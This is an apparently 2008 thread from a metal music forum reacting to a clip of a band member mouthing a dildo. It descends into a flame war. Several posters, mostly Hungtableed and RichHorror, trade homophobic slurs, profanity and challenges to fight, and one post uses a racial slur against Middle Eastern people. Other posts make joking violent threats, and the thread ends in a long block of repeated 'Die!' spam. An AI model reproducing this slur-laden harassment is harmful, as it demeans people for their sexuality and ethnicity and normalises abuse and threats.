Ass Hat
Home
News
Events
Bands
Labels
Venues
Pics
MP3s
Radio Show
Reviews
Releases
Buy$tuff
Forum
  Classifieds
  News
  Localband
  Shows
  Show Pics
  Polls
  
  OT Threads
  Other News
  Movies
  VideoGames
  Videos
  TV
  Sports
  Gear
  /r/
  Food
  
  New Thread
  New Poll
Miscellaneous
Links
E-mail
Search
End Ass Hat
login

New site? Maybe some day.
Posting Anonymously login: [Forgotten Password]
returntothepit >> discuss >> Rich Horror, you are now a god. by menstrual_sweatpants_disco on Mar 24,2008 6:44pm
Add To All Your Pages!
toggletoggle post by menstrual_sweatpants_disco   at Mar 24,2008 6:44pm edited Mar 24,2008 11:38pm



toggletoggle post by menstrual_sweatpants_disco   at Mar 24,2008 6:44pm
I can't say how many times I've jerked off to this.



toggletoggle post by ZJD   at Mar 24,2008 6:53pm
I am lolling out loud right now.



toggletoggle post by dreadkill  at Mar 24,2008 6:55pm
mike, are you in blackface, or is that a shadow?



toggletoggle post by dreadkill  at Mar 24,2008 6:55pm
it's creepy that rich can get that thing almost balls deep



toggletoggle post by menstrual_sweatpants_disco   at Mar 24,2008 7:01pm
i'll post another one later od him with the balls in his mouth and him flopping the dick around.



toggletoggle post by Dave_Maggot   at Mar 24,2008 7:05pm
did you guys find it or is this old?



toggletoggle post by dreadkill  at Mar 24,2008 7:08pm
me and my roommate have been laughing at this for minutes now.



toggletoggle post by shultze at Mar 24,2008 7:20pm
i just puked a little in my mouth...



toggletoggle post by AUTOPSY_666   at Mar 24,2008 7:22pm
I'm next!



toggletoggle post by RichHorror  at Mar 24,2008 8:09pm
mikeposted (6:43:22 PM): happy birthday
mikeposted (6:43:40 PM): http://img143.imageshack.us/img143/8498/animation1pd1.gif
Cowmaximus (8:09:02 PM): I hate myself and am quitting



toggletoggle post by Dankill at Mar 24,2008 8:38pm
Rich says: BLargagrrrughusfllsuh!



toggletoggle post by RichHorror  at Mar 24,2008 8:40pm
I can no longer in all good conscience be a member of this band.



toggletoggle post by Murph nli at Mar 24,2008 9:02pm
I like the way you twist the dong on the way out.

Gonna suggest that manuever to my lady friend.

Gay? A little.



toggletoggle post by the_reverend   at Mar 24,2008 9:09pm
I like how msd is all "oh hi, i upgraded your ramz" there.



toggletoggle post by RichHorror  at Mar 24,2008 9:19pm
Murph, make sure you tell you got the technique from a fat skinhead.



toggletoggle post by Hungtableed at Mar 24,2008 9:23pm
menstrual_sweatpants_disco said[orig][quote]


Hahahaha, talk about a typical fat kid who only does fucked up shit for laughs. Too bad that there is nothing funny about a dude sucking a dildo like its a cock. You're a fucking queer and that's all there is to say about that. There is no argument otherwise...if you try to make one then you are only lying to your self.



toggletoggle post by RichHorror  at Mar 24,2008 9:24pm
Hahahaha, talk about a guy who would never say shit to my face.



toggletoggle post by Hungtableed at Mar 24,2008 9:26pm
Of coarse I would.



toggletoggle post by Hungtableed at Mar 24,2008 9:26pm
Dude, you suck dildos...

am I supposed to be intimidated?



toggletoggle post by Pires at Mar 24,2008 9:26pm
Rich finally had the balls to do what we all want to do in life...only this time it wasn't coming from his asshole...I commend you fine sir...



toggletoggle post by RichHorror  at Mar 24,2008 9:27pm
Prove me wrong, ever. You won't. All the shows I book are present enough on this board. I'll put you on the guest list.



toggletoggle post by Hungtableed at Mar 24,2008 9:31pm
hahahahaha, someone is a wee bit embarrassed about the fact that the world found out (via the interweb) that he is queer enough to suck a rubber dick.

What do you have to say about that? I guess it's all the coke which, like ecstasy, makes you gayer than the easter bunny. Did you go for an easter egg hunt yesterday?



toggletoggle post by archaeon at Mar 24,2008 9:31pm
I think the funny part is that MSD appears just as he starts to slide the dick in his mouth. it's his calling!



toggletoggle post by RichHorror  at Mar 24,2008 9:32pm
I did it on camera, you fucking hayseed. Yeah, I'm totally shocked it was 'found out'. Go pretend to be in the military even though you couldn't make the cut.



toggletoggle post by swamplorddvm  at Mar 24,2008 9:33pm
oh good god!

making me drip.



toggletoggle post by Hungtableed at Mar 24,2008 9:34pm
Aigght dude. You suck dildos, fag...why not suck a real one and prove your homosexuality. You're obviously a taker...



toggletoggle post by RichHorror  at Mar 24,2008 9:36pm
Why not join the real marines? You talk about the armed forces so much yet can't get over there and fight for your country. Why is that?



toggletoggle post by Hungtableed at Mar 24,2008 9:41pm
I'm not going to go in the armed services because I already love what I do. If I were even remotely as pathetic as one who would suck dildos like they were fleshy dicks I would be willing to do anything to get away from my current life status.



toggletoggle post by RichHorror  at Mar 24,2008 9:43pm
In other words, you are too chickenshit to do anything but yell USA USA behind a computer screen.



toggletoggle post by Hungtableed at Mar 24,2008 9:50pm
...dude...you suck dildos like they're a cocks.

Your opinion on the matter of being "chickenshit" or even being a "pussy" for that matter is therefor completely nullified, forever.



toggletoggle post by ellesarusrex  at Mar 24,2008 11:01pm
rich is fun... anyone who is a prude about having fun can eat a bowl of dicks.. he did it for a laugh.. so laugh an/or shut your trap



toggletoggle post by Dave_Maggot   at Mar 24,2008 11:06pm
yeah, i smacked that dildo around, its mystifying. if its in your general area you just gotta pick it up. take it for a walk, tell it your best jokes, practice fencing with it. if messing with that dildo makes you gay. then gosh darn it. composted are a whole bunch of grade A-fairies. and i can live with that. i sure can.



toggletoggle post by Murph nli at Mar 24,2008 11:06pm
Wow, jokes really get lost on some people.

Homophobic people are the most unfunny, uninteresting people ever.

PS. I know you love AMERICA dude, but maybe you should move to Iran. I heard in the news there are "no homsexuals" over there.



toggletoggle post by dreadkill  at Mar 24,2008 11:50pm
i get sad when i read about people who lack a sense of humor. having no sense of humor is like not being able to have an orgasm. it really makes life suck. rich is a funny guy and the stuff he does is entertaining. if you can't laugh at goofy shit, how do you enjoy your life?



toggletoggle post by menstrual_sweatpants_disco   at Mar 25,2008 12:03am
Alright, I feel bad because this is all out of context now. Rich did this dumb shit on camera during practice to make his friends crack up. That's it. And crack up we did. I shouldn't have posted it here.

Secondly, HungtaBleed is a pussy and WILL NEVER confront anybody in person with the shit he's saying here. I think everybody obviously knows this. Therefore, his opinion is totally invalid. Fuck him. Has anybody even met this clown in real life? He's useless.



toggletoggle post by narkybark   at Mar 25,2008 12:23am
now I know how rich can pay me next time.



toggletoggle post by RichHorror  at Mar 25,2008 12:25am
Yeah, because getting paid $60 for our first show at a venue is obviously HORSESHIT.



toggletoggle post by the_reverend   at Mar 25,2008 12:29am
rich will show you how gay he is when he gets drunk and sucks your fucking dix.



toggletoggle post by RichHorror  at Mar 25,2008 12:31am
Yep, all the time.



toggletoggle post by the_reverend   at Mar 25,2008 12:31am
rich sucking dix is pure comic gold.



toggletoggle post by RichHorror  at Mar 25,2008 12:32am
Yeah, I'm laughing already. Which fits since I'm an apparent laughingstock.



toggletoggle post by the_reverend   at Mar 25,2008 12:37am
you aren't a staughinglock, you are just a faggot.
I just figure that everyone from mass is a faggot.. I mean, it is mass, right?



toggletoggle post by RichHorror  at Mar 25,2008 12:39am
You got it.



toggletoggle post by RichHorror  at Mar 25,2008 12:40am
<bartlesandjames>Thank you for your support.</bartlesandjames>



toggletoggle post by mortalis  at Mar 25,2008 12:59am edited Mar 25,2008 1:00am
menstrual_sweatpants_disco said[orig][quote]

Secondly, HungtaBleed is a pussy and WILL NEVER confront anybody in person with the shit he's saying here. I think everybody obviously knows this. Therefore, his opinion is totally invalid. Fuck him. Has anybody even met this clown in real life? He's useless.


he was actually pretty nice when grant and i met him at a show at that mill street brews place. least i think that was him.

then again, we weren't having anti-american gay sex at the time. that was when we got home.



toggletoggle post by narkybark   at Mar 25,2008 2:22am
RichHorror said[orig][quote]
Yeah, because getting paid $60


I wasn't talking about money. I want some TLC, and now I know you can deliver it.



toggletoggle post by narkybark   at Mar 25,2008 2:23am
I mean, just look at that. It's like someone eating an eclaire, in reverse.



toggletoggle post by deadlikemurf  at Mar 25,2008 2:24am
someone needs to make msd's head pedo bear. now.




toggletoggle post by RichHorror  at Mar 25,2008 2:28am
I'm so glad I give so many new bands a shot at a good show and exposure. This really makes all my hard work worthwhile.



toggletoggle post by thegreatspaldino   at Mar 25,2008 3:59am edited Mar 25,2008 3:59am
i dont know rich personally at all and i am really drubk, but if you have a problem with him for reason... i will fuck you up. believe it.



toggletoggle post by RichHorror  at Mar 25,2008 4:06am
I'm over it. Thank you, Xanax.



toggletoggle post by Hungtableed at Mar 25,2008 5:10am
All I hear while reading through this is:
I have sand in my dick hole

I'm just being a ball buster. No one has caught on yet that it is what I do around here? Also, I like throwing the word fag around here because everyone gets their panties in knot like I just said something about their religion. OMFG, he-th's a homophobe guy-ths...that-th's pathetic. I'm th-so pro-gay I'll th-suck a rubber dick. Sorry I rained on your gay parade, you are free to laugh about dude's who suck rubber schlongs again...



toggletoggle post by GodlessRob at Mar 25,2008 6:59am
I was actually sickened to my stomach when I saw this and NOT for the reasons previously mentioned.
I have heard stories of what goes on with that thing at practices and all I can say Rich is...
...I hope you washed that thing off before you put it in your mouth!



toggletoggle post by menstrual_sweatpants_disco   at Mar 25,2008 8:32am
and wash away the flavor!?



toggletoggle post by now in kadoog-a-vision! at Mar 25,2008 9:22am



toggletoggle post by MassOfSLITZnli at Mar 25,2008 9:23am
honestly, I thought it was a pickle... ehhhhh



toggletoggle post by RichHorror  at Mar 25,2008 9:26am
That thing gets sanitized more than an operating room.



toggletoggle post by RichHorror  at Mar 25,2008 2:54pm
Ok, back pedalling coward. I recall you saying you'd say the shit to my face. I don't see it happening. Thanks to asking around, I know what you look like, you skinny shrimp cunt. The fact remains that you are too much of a fucking pussy to do fight for your beliefs aside from hiding behind a computer screen. At least I was only joking, while you are a chickenshit faggot that talks big on the way but has no balls to serve for his country.



toggletoggle post by RichHorror  at Mar 25,2008 2:56pm
Also, Aaron. Nice job making fun of me along with this cocksucker when I support you and your site every fucking day and in everyway I can. Nice slap to my face. Fuck you.



toggletoggle post by the_reverend   at Mar 25,2008 3:01pm
made fun? I was supporting your gayness.



toggletoggle post by W3 nli at Mar 25,2008 3:01pm



toggletoggle post by RichHorror  at Mar 25,2008 3:02pm
Yeah, ok.



toggletoggle post by dreadkill  at Mar 25,2008 3:02pm
i think aaron actually was joking.



toggletoggle post by RichHorror  at Mar 25,2008 3:03pm
Yeah, let's all make nice so no one has their feelings hurt. Cunts.



toggletoggle post by RichHorror  at Mar 25,2008 3:05pm
I still want to know where you're gonna step up like a man and call me a faggot to my face, you backwoods cunt.



toggletoggle post by RichHorror  at Mar 25,2008 3:11pm
You're some skinny midget that thinks he's in the army. You talk like a big man about killing the sand niggers. Don't you love to fight? I do. Let's do this, faggot.



toggletoggle post by RichHorror  at Mar 25,2008 3:11pm
aaaaaaaaaaaaaaaahahahahahahahahahahahahahahahahha



toggletoggle post by W3 nli at Mar 25,2008 3:13pm
KILL THAT MOTHERFUCKER GETT'EM GETT'EM HE'S GETTING AWAY, SOMEBODY KILL'EM



toggletoggle post by RichHorror  at Mar 25,2008 3:20pm
e-drama is hilarious



toggletoggle post by W3 nli at Mar 25,2008 3:21pm
FISHES



toggletoggle post by ZJD   at Mar 25,2008 3:23pm
Where the fuck is Hoser?

Also, if sucking a fake dick didn't give Rich a boner, he is not gay.



toggletoggle post by W3 nli at Mar 25,2008 3:24pm



toggletoggle post by Mucko  at Mar 25,2008 3:31pm
W3%20nli said[orig][quote]


You are fucking dead! Now I have that chewy candy fish feeling in my teeth and no money. I am going to punch you in your cock from my wheelchair.



toggletoggle post by W3 nli at Mar 25,2008 3:35pm
that sounds intense.......

but



toggletoggle post by Mucko  at Mar 25,2008 3:37pm
Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! 